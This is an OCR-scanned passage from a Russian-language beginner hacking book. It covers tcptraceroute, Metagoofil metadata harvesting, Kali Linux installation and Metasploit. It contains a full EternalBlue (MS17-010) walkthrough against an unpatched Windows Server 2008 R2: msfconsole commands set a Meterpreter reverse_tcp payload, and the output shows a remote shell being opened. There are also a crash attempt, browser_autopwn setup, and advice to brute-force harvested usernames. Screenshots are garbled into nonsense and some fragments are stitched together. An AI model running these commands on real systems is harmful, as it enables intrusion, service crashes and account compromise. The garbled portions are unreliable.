nyb.edgecastcdn.net (152.195.69.131) 106.089 ms
9 93.184.216.34 (93.184.216.34) 80.626 ms 78.785 ms 78.775 ms
10 93.184.216.34 (93.184.216.34) 78.803 ms 80.586 ms 78.764 ms

•.-----------------------------------------------------------------------.----------1111

'\:11,11111 11.1 1 ill\1\

Команда tcptraceroute является дополнением к команде traceroute. Команда
traceroute отправляет целевой машине или UDP, или эхо-пакет ICMP (lnternet
Control Message Protocol- протокол межсетевых управляющих сообщений)
со временем жизни (Time to Live, TTL), равным единице. Значение TTL уве­
личивается на единицу для каждого хоста до тех пор, пока пакет не
достигнет целевой машины. Основное различие между командой traceroute
и инструментом tcptraceroute в том, ч�о последний для целевой машины ис­
пользует пакет ТСР SYN.
Главное преимущество ищюльзования tcptraceroute состоит в том, что мы
можем на пути от машины хакера к целевой машине встретить брандмауэр.
Брандмауэры часто настраиваются для фильтрации трафика ICMP и UDP,
связанного с командой traceroute. В этом случае информация о трассировке
будет искажена. Использование инструмента tcptraceroute позволяет уста­
новить ТСР-соединение на определенном порте, через который брандмауэр
позволит вам пройти, тем самым показав на пути сетевой маршрутизации
брандмауэр.
Сравним вывод команд traceroute (выше) и tcptraceroute (ниже):
tcptraceroute example.com
Running:
traceroute -Т -О info example.com
traceroute to example.com (93.184.216.34), 30 hops max, 60 byte packets
1 GW119.localdomain (10.10.7.1) 0.232 ms 0.218 ms 0.205 ms
2 100.83.85.65 (100.83.85.65) 0.668 ms 0.657 ms 0.627 ms
3 corel2.nbgl.hetzner.com (213.239.229.157) 0.811 ms corell.nbgl.
hetzner.com (213.239.229.153) 0.791 ms core12.nbgl.hetzner.com
(213.239.229.157) 0.784 ms
4 juniper6.dc2.nbgl.hetzner.com (213.239.245.78) 2.832 ms 2.817 ms
juniper4.dc2.nbgl.hetzner.com (213.239.203.138) 0.728 ms
5 ae12-500.nbg40.core-backbone.com (80.255.9.21) 1.043 ms 1.035 ms
ae12-498.nbg40.core-backbone.com (5.56.20.253) 1.014 ms
6 ae5-2092.nyk10.core-backbone.com (5.56.18.94) 80.084 ms aell2093.nykl0.core-backbone.com (5.56.20.102) 103.669 ms ae5-2092.nyk10.
core-backbone.com (5.56..18.94) 80.065 ms

7

* * *

8 ae-71.corel.nyb.edgecastcdn.net (152.195.69.139) 83.335 ms
80.048 ms ae-66.corel.nyb.edgecastcdn.net (152.195.69.131) 81.275 ms
9 93.184.216.34 (93.184.216.34) 78.844 ms 78.844 ms 78.831 ms
10 93.184.216.34 (93.184.216.34) 80.774 ms 78.803 ms 80.543 ms

...

Вывод идентичен, значит, на пути к жертве нет брандмауэров, блокирующих
трафик ICMP и UDP.



----- - - - - -- --- - --- --- --- ---- ---- --- -- - --- ------- ------ - -- - - -- --- --- - - - - - -- - ------ .

1 1ав:1 (). ( iiop 11111lmp,1,1111111

6.7. Инструмент Metagoo.fil
Данный инструмент использует поисковик Google для получения метадан­
ных из документов, доступных в целевом домене. На данный момент под­
держиваются документы типов doc, docx, xls, xlsx, ods, ppt, pptx, odp, pdf.
Пример использования инструмента:
# metagoofil -d example.com -1 20 -t doc,pdf -n 5 -f test.html -о test

Результат:
[-] Starting online search ...
[-] Searching for doc files, with а limit of 20
Searching 100 results ...
Results: 5 files found
Starting to download 5 of them:
(1/5] /webhp?hl=en [х] Error downloading /webhp?hl=en
(2/5] /intl/en/ads [х] Error downloading /intl/en/ads
(3/5] /services [х] Error downloading /services
(4/5] /intl/en/policies/privacy/
(5/5] /intl/en/policies/terms/
[-] Searching for pdf files, with а limit of 20
Searching 100 results...
Results: 25 files found
Starting to download 5 of them:
[1/5] /webhp?hl=en [х] Error downloading /webhp?hl=en
[2/5] https://mirror.hackthissite.org/hackthiszine/hackthiszine3.pdf
[3/5] https://mirror.hackthissite.org/hackthiszine/hackthiszinel2_print.pdf
[4/5] https://mirror.hackthissite.org/hackthiszine/hackthiszine12.pdf
(5/5] https://mirror.hackthissite.org/hackthiszine/hackthiszine4.pdf
processing
[+] List of users found:
emadison
[+] List of software found:
Adobe PDF Library 7.0
Adobe InDesign CS2 (4.0)
Acrobat Distiller В.О.О (Windows)
PScript5.dll Version 5.2.2
[+] List of paths and servers found:



·----------------------------------------------------------------------------------ID

[+] List of e-mails found:
whooka@gmail.com
htsdevs@gmail.com
never@guess
narc@narc.net
�iralfia@hotmail.com
user@localhost
user@remotehost.
user@remotehost.com
security@lists.
recipient@provider.com
subscribe@lists.hackЫoc.org
staff@hackЫoc.org
johndoe@yahoo.com
staff@hackЫoc.org
johndoe@yahoo.com
subscribe@lists.hackЫoc.org
htsdevs@gmail.com

Из собранных документс;>в ты получишь большое количество информации,
например имена пользователей и сведения о пути. Можно, например, за­
действовать полученные имена пользователей для брутфорса паролей .

-



................................................................................. .

Глава 7.

Что такое Kali Linux и
как его использовать для
взлома

:\а1,11111 11а ( illll\

7.1. Вкратце о Kali
Kali Linux - это еще один дистрибутив Linux. С технической точки зрения
он основан на DeЬian и если ты до этого работал с DeЬian или UЬuntu, то
большую часть знаний можно применить и к Kali Lunux. Дистрибутив Kali
создан для продвинутого тестирования (ага, для тестирования!) на проник­
новение и аудита безопасности.
Кali содержит несколько сотен (более 600) инструментов, ориентированных
на различные задачи информационной безопасности, такие как тестирова­
ние на проникновение (Penetration Testing), исследования в области инфор­
мационной безопасности (Security research), компьютерная криминалисти­
ка (Computer Forensics) и обратная инженерия (Reverse Engineering).
Дистрибутив Kali Linux разрабатывается, финансируется и поддерживается
Offensive Security, лидирующей компанией в сфере обучения информацион­
ной безопасности.
Когда-то для подобных целей использовался дистрибутив BackTrack Linux.
Kali Linux является продолжением этой платформы. Первая версия Kali уви­
дела свет в марте 2013 года. Это не просто обновленная версия BackTrack
Linux, а полностью переработанный дистрибутив, из которого удалены все



ID---------------------------------------------------------------------------------·

l.1a11a 7. Ч10 1а1..:ос h:ali

I

i1111, 11 1..:а1..: с11111с1ю.11,ю11а11, 1.111111.ю,1.1

неэффективньrе инструменты, инструменты с дублирующимся функциона­
лом (то есть в Kali не будет двух инструментов для взлома WiFi и тебе не
придется ломать голову, какой из них лучше), добавлены новые и актуаль­
ные программы.
В настоящее время Kali Linux активно развивается. Это относится как к
инфраструктуре проекта, дистрибутива, так и в отношении "хакерских"
программ - они непрерывно обновляются, добавляются новые качествен­
ные пакеты программ.
Вообще, Kali спроектирован для профессионалов в сфере тестирования на
проникновения и аудита безопасности. В этом дистрибутиве сделано много
изменений, отражающих данные потребности. Данный дистрибутив не ре­
комендуется использовать пользователям, которые ничего не знают о Linux.
- им будет сложно, также он не подойдет для настольного применения - как
основной дистрибутив на каждый день. В нем не будет ни графического ин­
терфейса, ни офисного пакета и т.д.
Также нужно понимать, что Kali - не совсем OpenSource. Команда разра­
ботки мала и состоит только из доверенных лиц, пакеты в репозиториях
подписываются как индивидуальным комитером, так и командой, и - что
важно - набор вышестоящих репозиториев, из которых берутся обновления
и новые пакеты, очень мал. Добавление репозиториев, которые не были про­
тестированы с Kali, в источники программного обеспечения - это верный
путь к проблемам. Другими словами, лучше использовать Kali как есть и не
пытаться добавить в нее новые источники пакетов.
Kali Linux. отличается от прочих дистрибутивов Linux, а также имеет специ­
фические черты даже в сравнении с другими "хакерскими" ОС. Рассмотрим
особенности этого дистрибутива:
• Содержит более 600 инструментов для тестирования на проникно­
вение. Читай так: 600 инструментов для проникновения в систему! Все
инструменты поддерживаются в актуальном состоянии. Они проверены
и работоспособны. Регулярно добавляются новые эффективные и полу­
чившие широкое признание инструменты.
• Бесплатный, был, есть и будет! Дистрибутив Kali Linux, как и BackTrack,
совершенно бесплатный и всегда таким будет.
• Криминалистический режим Kali Linux. Один из режимов загрузки
(Forensics). Отлично подходит для сбора цифровых доказательств. В этом
режиме Kali не монтирует какие-либо диски (включая swap) - ты не
'---------------------------------------------------------------------------------1111

можешь случайно оказать воздействие на исследуемую систему. А хоро­
ший набор криминалистических цифровых инструмеJПОв делает Kali хо­
рошим выбором для твоей работы по цифровому исследованию и сбору
доказательств.
• Сетевые службы по умолчанию отключены. Kali Linux содержит хуки
system, которые по умолчанию отключают сетевые службы. Это позволя­
ет нам устанавливать на Kali Linux различные службы, при этом позво­
ляют нам сохранять дистрибутив по умолчанию безопасным, независимо
от установленных пакетов. Дополнительные службы, такие как Bluetooth,
также по умолчанию в черном списке.
• Современное пользовательское ядро Linux. Дистрибутив Kali Linux
использует современные версии ядер, пропатченные для беспроводной
инъекции.
• Минимальный и проверенный набор источников приложений. Клю­
чевой концепцией Kali Linux является поддержание целостности
системы. По этой причине количество источников, из которых Kali полу­
чает программное обеспечение, сведено к минимуму. Многие новички
в использовании Kali прельщаются добавлением новых репозиториев в
sources.list, что приводит к серьезному риску поломать Kali Linux.
• Один пользователь, намеренный доступ root. Из-за природы аудитов
безопасности, Kali Linux создан использоваться в сценариях "единичный
пользователь root". Многие инструменты, используемые в тестировании
на проникновение, требуют повышенных привилегий. И хотя правиль­
ные политики допускают включение привилегий root только когда это
необходимо, в случаях использования Kali Linux этот подход бьm бы об­
ременительным.
• Поддержка широкого диапазона беспроводных устройств. Частой
проблемой дистрибутивов Linux является поддержка беспроводных ин­
терфейсов. Kali Linux собрана для поддержки такого количество
беспроводных устройств, насколько это возможно, это позволяет системе
правильно работ.ать с разнообразным железом и делает ее совместимой с
рядом USB и друтих беспроводных устройств.
• Поддержка АRМ устройств, в том числе Android. Kali Linux может ра­
ботать на RaspberryPi и многих друтих АRМ компьютерах. Для них под­
готовлены специальные образы.
• Поддержка шифрования системы. Вы можете создать флэшку Kali
Linux Live USB с зашифрованным разделом LUКS, с полным шифрова-

811---------------------------------------------------------------------------------'

нием диска, с шифрованием диска Raspbeпy Pi 2. Также имеется уни­
кальный функционал LUКS Encryption Nuke, он заключается в том, что
ты немедленно можешь удалить ключи для зашифрованных данных и эти
данные станут абсолютно недоступны. Тем не менее, если ты сделал ре­
зервную копию ключей, позже, в безопасной обстановке, можно восста­
новить доступ к этим данным.
• Kali Linux Live USB с несколькими разделами хранения данных.
Загрузочный диск или флэшка Kali USB могут иметь один или сра­
зу несколько разделов для хранения данных, с несколькими хранимыми
профилями. Для всех них также поддерживается шифрование.
• Разрабатывается в безопасном окружении. Команда Kali Linux - это
маленькая группа индивидуумов. Только они доверены работать с пакета­
ми и взаимодействовать с репозиториями, вся эта работа осуществляется
с использованием нескольких протоколов безопасности.
• Подписанные GPG пакеты и репозитории. Каждый пакет в Kali Linux
подписан каждым индивидуальным разработчиком, кто создал комит, ре­
позитории в последствии также подписывают пакеты.
• Совместимость с FHS. Kali придерживается Filesystem Hierarchy
Standard, т.е. "стандарта иерархии файловой системы". Это позволяет
пользователям Linux с легкостью определять расположением бинарни­
ков, файлов поддержки, библиотек и т.д.
• Образы Kali Linux Amazon ЕС2 AWS. Kali Linux доступен в облаке.
Например, образы Kali Amazon ЕС2. Можное легко настроить Kali Linux
в Amazon Elastic Compute Cloud если тебе нужно соединение с серьезной
пропускной способностью, дисковое пространство или мощный графи­
ческий процессор.
Примечание. С чего начать изучение информационной безопас­
ности? Ну это на тот случай, если ты серьезно задумался этим
заниматься, а не все, что тебя интересует - это как хакнуть со­
седский Wi-Fi, чтобы не платить за Интернет!



Говоря про изучение Kali Linux обычно подразумевают работу с
программами. Хотя операционная система Kali Linux таюке име­
ет много вопросов для изучения (создание пользовательского
ISO, установка на сменные носители, шифрование постоянных
разделов и очень многое другое), но и без их понимания воз­
можно пользоваться системой. Поэтому эти вопросы отходят на

·--------------···--··-------·----·---·---·----·---·----·---·----·---··--··--··----ID

:\а1,11111 11а I i1111,

второй план. В первую очередь начинающих хакеров интересу­
ет работа с инструментами. Намного проще будет работать с
инструментами, если у тебя есть опыт и знания по администри­
рованию системы Linux, понимание "матчасти" (знание техни­
ческих аспектов IТ-технологий) и знание одного или нескольких
языков программирования. Чем больше знаний по этим вопро­
сам - тем лучше. Тем не менее, можно начать с абсолютного
нуля - далее в этой главе будут приведены несколько примеров,
что можно сделать, впервые загрузившись в Kali Linux.

7.2. Где скачать и как установить Kali Linux
Загружать Kali Linux нужно только с официального сайта. Не используй вер­
сии, размещенные на других ресурсах. Дистрибутив полностью бесплатный
и нет надобности качать его где-либо еще. Не забывай, что в неофициальную
версию могут быть внесены изменения. Какие именно - известно только ав­
тору сборки.
Если ты собираешься устанавливать Kali Linux в виртуальную машину, то
обрати внимание на готовые образы по ссьmке:
https://www.kali.org/get-kali/#kali-virtua/-machines

Такие образы очень эффективны, поскольку они позволяют попробовать и
даже использовать Kali Linux без установки на физический комп. Тем не ме­
нее, там могут быть довольно устаревшие версии, поэтому мы рекомендуем
скачивать обычный ISO. По приведенной ссьmки можно скачать образы как
для VirtualВox, так и для VMWare.
Образы ISO можно использовать в качестве Livе-систем, а также произво­
дить с них установку. Эти образы можно скачать на странице:
https://www.kali.org/get-kali/#kali-bare-metal

Далее будет показано, как скачать ISO образ и создать виртуальную машину
VMWare, в которой мы произведем установки Kali Linux. Да, для виртуаль-



1111--------------------. -------------------------------------------------------------.

l.1a11a 7, 11111 1а1,11с J,,,li I i1111, 111..:а1, t·11111t·110 11,11111:111, 1.111 в1.�о,1а

ной машины можно скачать уже готовый образ, но как установить Kali мы
все же покажем - ведь установка в виртуальной машине мало чем отличает­
ся от установки на обычный физический компьютер, поэтому читатель смо­
жет увидеть, как установить Kali на свой компьютер.
Итак, перейди на https:/lwww.kali.org/get-kali/#kali-bare-metal и загрузи один
из образов:
• Kali Linux 64-Ьit (Installer) - инсталлятор. Подойдет, если ты сразу хо­
чешь установить систему на физический или виртуальный компьютер.
Скачай именно этот образ - ведь мы же хотим установить ее для постоян­
ного использования.
• Kali Linux 64-Ьit (Live) - "живой" образ, позволяющий попробовать
систему без ее установки на компьютер. Этот же образ подойдет для уста­
новки на USB с помощью Rufus: просто подключи к компьютеру чистую
флешку объемом 8 Гб или более, запусти Rufus и создай загрузочную
флешку. С нее ты сможешь загрузиться и сразу использовать Kali Linux.
• Kali Linux 64-Ьit (Netlnstaller) - сетевой установщик, для установки
системы по сети.

00

---В.Зrе Met.al

VMs

ARM

Moblle.

Ooud

Cмta!ners

live Вооt

WSl

Kali Linux 2022.1 Changelog'

1

Insttlltr
((JfТ'lf)ltft,off,Jirwi�
vмhcu\.lomiul»fl

1



е

,

Рис. 7.1. Выбор образа

.............. . : . ....... - - -· - --· ..... - -................ -....... -. -·· ........ -·

--

\:.11,11111 11.1 ( :1111,

Обрати внимание - колонка слева (самая первая) содержит прямую ссылку
на 1S0-образ. Колонка Torтent содержит ссьшку на Тоrтеnt-файл. Для загруз­
ки образа через Torтent тебе понадобится Тоrтеnt-клиент. Можешь использо­
вать uTorтent или любой другой.
После загрузки образа запусти VMWare Workstation, выбери File, New
Virtual Machine. В появившемся окне дважды нажми Next, пока не уви­
дишь выбор операционной системы. Kali Linux в списке не будет, нужно
выбрать 64-битную UЬuntu (рис. 7.2). Введи название виртуальной машины
и выбери ее расположение. На выбранном диске должно быть достаточно
свободного места (рис. 7.3).
х

New Virtual Madline Wizard
-• Guest Opentlog sys,
..
Whidloperoting,y,temwi1Ьe"""'8edootl>swtuolrnodline?

CU д,ur ноесrо поп�•:

1-

О Покааw1.п1о 110.-11мwi naponi.

Пр08еркаnрммnа.жкт• в■оА• осущесr1n1111ТС11 nутём n08Торно,-о ••оА• napon1 • срмнен•• ре31W"n"татоа.

Веелнте INIXИ• ещё рю:

1-

-----

---------

f Снммок крана /

Рис. 7.10. Задание пароля пользователя

Нажми Продолжить, чтобы пропустить выбор часового пояса (как правило,
он определяется верно, но при желании можно уточнить выбор) и перейти



1111----. ---------------------. -------------------------------. -----------------------.

l.1ава 7. Ч10 1,11,ol' h.ali l.i1111\ 11 i-:al, l'IO 11с110,11.ю11а11, 1,111111.юча

к разметке диска. Поскольку мы устанавливаем Kali в виртуальную маши­
ну, нет смысла использовать ручную разметку. Используй вариант Авто для
использования всего диска. При желании можно использовать шифрование
и LVM (рис. 7.11), но Kali - это инструмент, а не хранилище для личных
данных. Даже не знаю, стоит ли шифровать ее файловую систему. На всякий
случай такая возможность есть.
P.aw,erт•a A■at08
-•·-

-- --- -- -----�

Проrрамма устано.к1111 моает nроеест• ■ас ч,ере31 процесс ра3Nета• АМсаа (npeAnaru ра-....е стам,Аа,,тнwе
a_,w) на ра31Аелw, nмбо по мо-.но c..enaтto 8ручну80, Есnм 8Wбр8Т1о мсnоnt.808амме мнсrрумента
ynp�n�•• pa-.teтa.oi, у еас ed ра.но бу.-ет еоэwомносr1о n�e nосмсn-рет11о • nоАПР•'"'" р�n"т..-.
Ес.nм ■wбр.-1, мсnоn1оэаан11е мнttрум8Па упрмnен•• раэмет11tоi всего АМас.а. то ••nee ■IIC поnрос11т
укuан, нy... wi A•CL
Н.Т'Щ р&»fеТkН:

дu,n • lt(f1Qllb'Н>fl,1lh (11.:'ft. Д110(

--

А8То - 111cnon1.-.aт1o ■еа. А•ск • настроwп, LVM
1 Аато - 1111c;noл1oзoe.-rt. ■ect. АИСIС с )U•фp08a11HWM LVМ
, вру"ну�о

Рис. 7.11. Разметка диска

В следующем окне выбери жесткий диск - он будет единственным и нажми
Продолжить. Инсталлятор Kali создан на базе инсталлятора DeЬian, поэто­
му задает столько лишних вопросов. На рис. 7.12 можно смело нажать Про­
должить.
Раа.етка AIIICK08
Вwбрано АЛ■ р.uNетк■:
SCS.IЭЭ (о. о. О) (sda) • VMware, VМW411'8 Vlrtual s: 21.. 5 GB
Д■ас NOIIКeт 6wт" ра-.-ен по ОАНоА м:t сnе.-ующu сх-... Есл• •.., н• знает-. что .-wбр�., - •w&lpaliтe
nepqю СХм.fУ.
С.....р.,,,,..ТЮt:
, ОТ Аела.н..,1 PПAl!ln An• Jhom�
от.-еnа.ш,•• paз.-enw """ Jhome, IW• • tt:mp



Рис. 7.12. Как хранить файлы ...

··································-··-····-·-·----·--··--···--·-·-···--··-·--·--·--1111

\.а1,!1111 на l.i1111\

Наконец-то, нажми Продолжить для сохранения разметки диска (рис. 7.13).
На следующем этапе выбери Да и опять нажми кнопку Продолжить.

Р зметк:а АМСХО8
а
n_,ед ванн СIJЖ:ОК настроенных p&JJ1tllnoe Н НХ ТОЧIЖ• ltЮНтнроввння. В�iбврНте;.uд,e,i, чтоtJ,:,1 ИJ.Nениn. его
т
чlmbl �сщаrь новый

;::�;"������= =��::;�,;.:,,�АНОеН!С1"0.
р

е

т
а
а
Настроlка
пр«раwwного
-.. тк: RAID� --, -­
! 1--;;
-;.--;. ...еас.-

НастроАка wенеА•ера nоnчесц• тot,toe (LVМ)
Настро1tн, w•фро.ан■е An• ТО1408
Hacrp01tТ1o TOМil ISCSI

v SCSl33 (0,0,0) (sda). 21.5 GB VMw•e.. VМwareVlrtual 5
•1

пер■мчн.

20.4GB

f

u:t4

/

1.0GB

f

ПО,АК

ПОАК

Отменмт�.. мзменен•• раз,111,еn08

1

j Снм wок •kpaн• l l�_c_n�p_ao_•-•-�

Рис. 7.13. Разметка готова, нажми кнопку Продолжить

РаJМеткаАМСКОВ
Есл• .... npOAOIUКJf'Тe., ТО ....@Нем■■, neprtllcлetнwe M■}ll[e, 6JAYT �ИС8НW наАМ(КМ. Иnм -· 8Ы можеrе
САеnап, ■се мзмененм■ ■ручную.
На•тп устроiст■ас M:JИettetfltt та6nмцw разА,елое:
SCSIЭЗ (0,0,0) (sda)

1

Сnе.-ующме paз.-enw 6fАут о форм тмро�tанw:
т
а
pi13Af!Л •1 наустроiст■е SCSIЭЭ
(О,0,0)
(sdW ... ext4
раэА,еn #S Nilycтpoicт■e SCSIЗЗ (ОФО,О) (sda) ... noA•
З.,исвть м�н• Н11 !JJCK'f

он...
д

ПpoAOIUIUIП,

Рис. 7.14. Выбери Да

После этого начнется установка системы. После установки базовой систе­
мы тебе будет предложено выбрать устанавливаемое ПО. На данный момент



-·····························································•···•················

l .1:111a 7. Ч 10 1a1,ot' h:ali l.i1111'\ 11 1,,11, t'IO Нl'110.11,юва11, 1.111 111.юча

можно смело оставить все по умолчанию (рис. 7 .16). Устанавливать "тяже­
лые" GNOME и КDЕ не нужно, вполне хватит легкой среды Xfce. После оче­
редного нажатия на кнопку, название которой даже не хочется произносить,
нужно немного подождать, пока установится выбранное ПО.

Усrан08ка 6аэоеоi системы

Уеt"--КА &,,...ol CIICf"W
)t'� СХ'НО8НWХ (contJ l'IМlrro8.,,

Рис. 7.15. Система в процессе установки

- Вwбор nporpaNwнoro обеспечеtн••

r At the mom�i:. only the core of the sy�em ls lnst:�led. The d� setectktns betow wlll lnstali' Кalj Llnux
with lts standoif"d desktop envlronll)ent and the default tools.

You С81 customize it Ьу chooslng а dlff«мt desktop envlronment or а dlfferent coHect.ion of tools.

Choose ldtw;re lD imtaJI:

••• Xfce (Кall's defaift dмktop envlronmмtl
0 ... GNOМE

0 Collectlon of tools (selectfng thls ltem has no effet•P-.;ММf>I(
?XP«.-!"J{'lj:?tЩIIJIU(

(..1Uoo,s.,._lo.,,;,..-�11,o'l�I•• -• ��.. -., �.>1!:�

l'DЧ,..,/')1!9-:l:\�­

C:.'\I.Joo,J\'--.:��.-1•• -•11,\\;1! run
Attempting to crash the remote host ...
datalenlow=65535 dataoffset=65535 fillersize= 72
rescue
datalenlow =55535 dataoffset=65535 fillersize = 72
rescue
datalenlow = 45535 dataoffset= 65535 fillersize = 72
rescue
datalenlow=35535 dataoffset=65535 fillersize = 72
rescue
datalenlow =25535 dataoffset=65535 fillersize = 72
rescue

9.7.8. Команда resource- определение ресурса
Некоторые виды атак, такие как Kannetasploit, используют файл с команда­
ми, которые можно загрузить через msfconsole используя команду resource.
Она последовательно выполняет команды в файле.
msfб > resource karma.rc
resource> load db sqliteЗ
[-]
[-] The functionality previously provided Ьу this plugin has
been
[-] integrated into the core command set. Use the new 'dЬ
driver'
[-] command to use а database driver other than sqliteЗ (which
[-] is now the default). All of the old commands are the same.
[-]
[-] Failed to load plugin from /pentest/exploits/frameworkЗ/
plugins/dЬ sqliteЗ: Deprecated plugin
resource> dЬ create /root/karma.dЬ
[*] The specified database already exists, connecting
*] Successfully connected to the database


. - - - - - -- - - - - - --- - - - - - . - - - - - --- - - . - . - - - . . - - - .-·. - -. - - -. - -.. -. - - -.. - -.-- - - ... -

.........

\. .11, 11111 11:1 1 11111 \

[*] File: /root/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN HOST => 10.0.0.1

9.7.9. Команда irb
Выполнение этой команды переведет тебя в режим Ruby, где ты сможешь
"на лету" писать скрипты и запускать команды:
msfб > irb
[*] Starting IRB shell...
[*] You are in the "framework" object
>> puts "Hello, metasploit!"
Hello, metasploit!

9.8. Практический пр имер 1: взламываем
старенький сервер Windows 2008 с помощью
эксплоита АНБ
Наконец-то мы добрались до самого интересного. Настало время собрать
все воедино и использовать изученные команды на практике. Мы будем ис­
пользовать эксплоит EtemalВlue.
EtemalBlue - это эксплоит, который, скорее всего, был разработан АНБ в
качестве бывшей уязвимости нулевого дня. Он был выпущен в 2017 году ха­
керской группой Shadow Brokers, которая скандально известна утечками ин­
формации и эксплоитов из Equation Group, которая, как поговаривают, тесно
связана с отделом АНБ ТАО (TailoredAccess Operations).
Эксплоит EtemalВlue также известен как MS l 7-010 представляет собой уяз­
вимость в протоколе Microsoft Server Message Block (SMB). SMB позволяет
системам совместно использовать доступ к файлам, принтерам и другие ре­
сурсы в сети. Уязвимость присутствует в немного устаревших версиях SMB,
позволяющую хакеру установить соединение с нулевым сеансом через ано-

-

- - - - - - - - - .: . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - . - - - - - - - - - - - - -

--

_,

1 1.11,а 9. IIL-1ю 11,1011,11111L· \ILl,1,ploil 1111 111.11111:1

нимный вход. Затем хакер сможет отправлять модифицированные пакеты и
выполнять произвольные команды на целевой системе.
В качестве жертвы мы будем использовать старенькую и непропатченную
ОС Windows Server 2008 R2. Чтобы повторить наш подвиг, тебе нужно ска­
чать такую же. Не нужно думать, что это очень старая операционка - много
организаций до сих пор используют ее даже в текущем году, поскольку ряд
кризисов не позволяет обновить железо и купить новый софт. Да и сама опе­
рационная система до сих пор(!) доступна для загрузки на сайте Microsoft:
https:/lwww.microsoft.com/en-us/download/details.aspx?id= 11093

По этой ссьmке ты можешь скачать ее совершенно бесплатно (180-дневная
версия).
Итак, запусти Metasploit. Это можно сделать или посредством графического
интерфейса или командой msfconsole.
Далее мы попытаемся найти подходящие модули. Вывод мы сократили (он
достаточно "широкий", чтобы поместиться на книжном листе), поэтому мы
оставили только названия модулей:
search eternalЬlue
Matching Modules
Name
Disclosure Date
Check Description
auxiliary/admin/smЬ/msl7 010 command
auxiliary/scanner/smЬ/smЬ_msl7_010
exploit/windows/smЬ/msl7_010_eternalЫue
exploit/windows/smЬ/ms17_010_eternalЫue winB
exploit/windows/smЬ/msl7 0l0_psexec

Rank

Напротив каждого модуля есть описание, так что ты поймешь для чего ис­
пользуется тот или иной модуль.
Мы будем использовать модуль exploit/windows/smЬ/ms 17_О 1О_etemalЫue:
use exploit/windows/smЬ/msl7 010 eternalЫue



. ................. ....... .......................... ..... ......... ..... .... ........

-

Просмотрим текущие параметры модуля с помощью команды options или
show options:
Module o ptions (explo it/windows/smЬ/ms17 0l0_eternalЫue):
Name
RHOSTS
RPORT
SMBDomain
SMBPass
SMBUser
VERIFY ARCH
VERIFY TARGET

Current Setting
445

true
true

yes
yes
no
no
no
yes
yes

Required

Descriptio n

ПЕ target acili'ess rarq: or СПR i set rhosts 192.169.1.65
r hosts => 192.169.1.65

Далее мы будем использовать шэлл reverse_tcp в качестве полезной нагрузки:
msf6> set payload windows/x64/meterpreter/reverse_tcp
payload => windows/х64/meterpreter/r_everse_tcp

Установим IР�адрес локальной машины и порт для прослушки:
msf6> set lhost 192.169.1.3
lhost => 192.169.1.3
msf6> set lport 4321
lport => 4321

Вводим команду run для запуска эксплоита:



------·--··-------·---------·-------··---··------·-------"·----··-··--------··--··-·

1 1,11'.. 1 ''· llt-111111.;oв,11111< \1t'1,1,ploi1 1 111 111 111\1,1
msf6> run
[*] Started reverse ТСР handler on 192.169.1.3:4321
[*] 192.169.1.65:445 - Connecting to target for exploitation.
[+] 192.169.1.65:445 - Connection estaЫished for exploitation.
[+] 192.169.1.65:445 - Target OS selected valid for OS indicated Ьу SМВ reply
[*] 192.169.1.65:445 - CORE raw buffer dump (51 bytes)
[*] 192.169.1.65:445 - ОхОООООООО 57 69 6е 64 6f 77 73 20 53 65 72 76 65 72 20
32 Windows Server 2
[*] 192.169.1.65:445 - Ох00000010 30 30 38 20 52 32 20 53 74 61 6е 64 61 72 64
20 008 R2 Standard
[*] 192.169.1.65:445 - Ох00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61
63 7601 Service Рас
k 1
[*] 192.169.1.65:445 - Ох00000030 6Ь 20 31
[+] 192.169.1.65:445 - Target arch selected valid for arch indicated Ьу OCE/RPC reply
[*] 192.169.1.65:445 - Trying exploit with 12 Groom Allocations.
[*] 192.169.1.65:445 - Sending all but last fragment of exploit packet
[*] 192.169.1.65:445 - Starting non-paged pool grooming
[+] 192.169.1.65:445 - Sending SМВv2 buffers
[+] 192.169.1.65:445 - Closing SМВvl connection creating free hole adjacent to
SМВv2 buffer.
[*] 192.169.1.65:445 - Sending final SМВv2 buffers.
[*] 192.169.1.65:445 - Sending last fragment of exploit packet!
[*] 192.169.1.65:445 - Receiving response from exploit packet
[+] 192.169.1.65:445 - EТERNALВLUE overwrite carpleted successfully (0xC000000D) !
[*] 192.169.1.65:445 - Sending egg to corrupted connection.
[*] 192.169.1.65:445 � Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.169.1.65
[*] Мeterpreter session 1 opened (192.169.1.3:4321 -> 192.169.1.65:49207) at
2019-03-26 11:01:46 -0500
[+] 192.169.1.65:445 - -------------------------------------------------------­
[+] 192.169.1.65:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=­
[+] 192.169.1.65:445 - --------------------------------------------= =--------meterpreter >

Разберемся, что все это означает. Мы устанавливаем SМВ-соединение и
отправляем эксплоит-пакет. Наконец, мы видим WIN и открывается сеанс
meterpreter. Другими словами, мы только что хакнули сервер. Конечно, если
сервер пропатчен, что у нас ничего не выйдет, но так как мы скачали эталон­
ную систему 2008 R2, где точно есть эта уязвимость, то должно все полу­
читься. Только не обновляй ее сразу после установки.
После того, как ты увидел приглашение meterpreter, ты можешь вводить лю­
бые команды, и они будут выполнены на удаленной (хакнутой) системе.
Например, можем ввести команду sysinfo (самая безобидная):
sysinfo
Computer

: S02

�------------------------------·····--··--···--···--·-·····-···-···-········-····f!il

'\al,11111 11,1 J illll\

os

Architecture
System Language
Domain
Logged On Users
Meterpreter

Windows 2008 R2 (Build 7601, Service Pack 1).
х64
en US
DLAB
2

x64/windows

Эксплоит не работает с новыми системами, но в некоторых случаях он мо­
жет вызвать сбой удаленной системы. Хакнуть не хакнешь, но хоть сдела­
ешь синий экран!

9.9. Практический пример 2: хакаем
современные системы -Windows Server 2016 и
Windows 10
EtemalBlue пользовался успехом, но если старые системы нужно бьшо пат­
чить, то в новых все заплатки идут "из коробки" и данный экплоит не ра­
ботает. Разработчиков экплоита это очень огорчило и они разработали три
подобных эксплоита - EtemalRomance и EntemalSynergy (уязвимость CVE2017-0143) и EtemalChampion (CVE-2017-0146). Все они бьши объединены
в один модуль Metasploit, который также использует классическую полез­
ную нагрузку psexec. Он считается более надежным, чем EtemalВlue, с мень­
шей вероятностью приведет к сбою цели и работает во всех непропатченных
версиях Windows Server 2016 и Windows 10.
Первым делом мы должны найти жертву. Если в прошлом случае мы ис­
